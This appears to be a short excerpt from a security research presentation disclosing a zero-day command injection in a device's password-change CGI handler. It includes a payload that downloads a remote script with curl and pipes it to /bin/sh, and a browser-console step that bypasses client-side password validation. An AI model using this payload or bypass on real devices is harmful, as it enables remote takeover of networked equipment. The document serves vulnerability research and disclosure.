## **Finding a Zero-Day**

The zero-day we found in the password change functionality.

From adm.cgi in set\_sys\_adm:

Ghidra didn't perfectly decompile it, but the username and password are both passed to sprintf. The username is not user-controlled, but the password is.

```
Example payload: curl http://192.168.10.100:8000/a | /bin/sh
```

If doing the shell injection through the web GUI in a browser, the javascript detects that you have invalid chars in your password. Bypassing the normal function can be done by using the browser console to directly **POST** the form:

```
document.getElementById("form2").submit()
```

We've included screenshots of our slack channel in the presentation if someone also finds and publishes this one. Those screenshots should show the date we first found this vulnerability.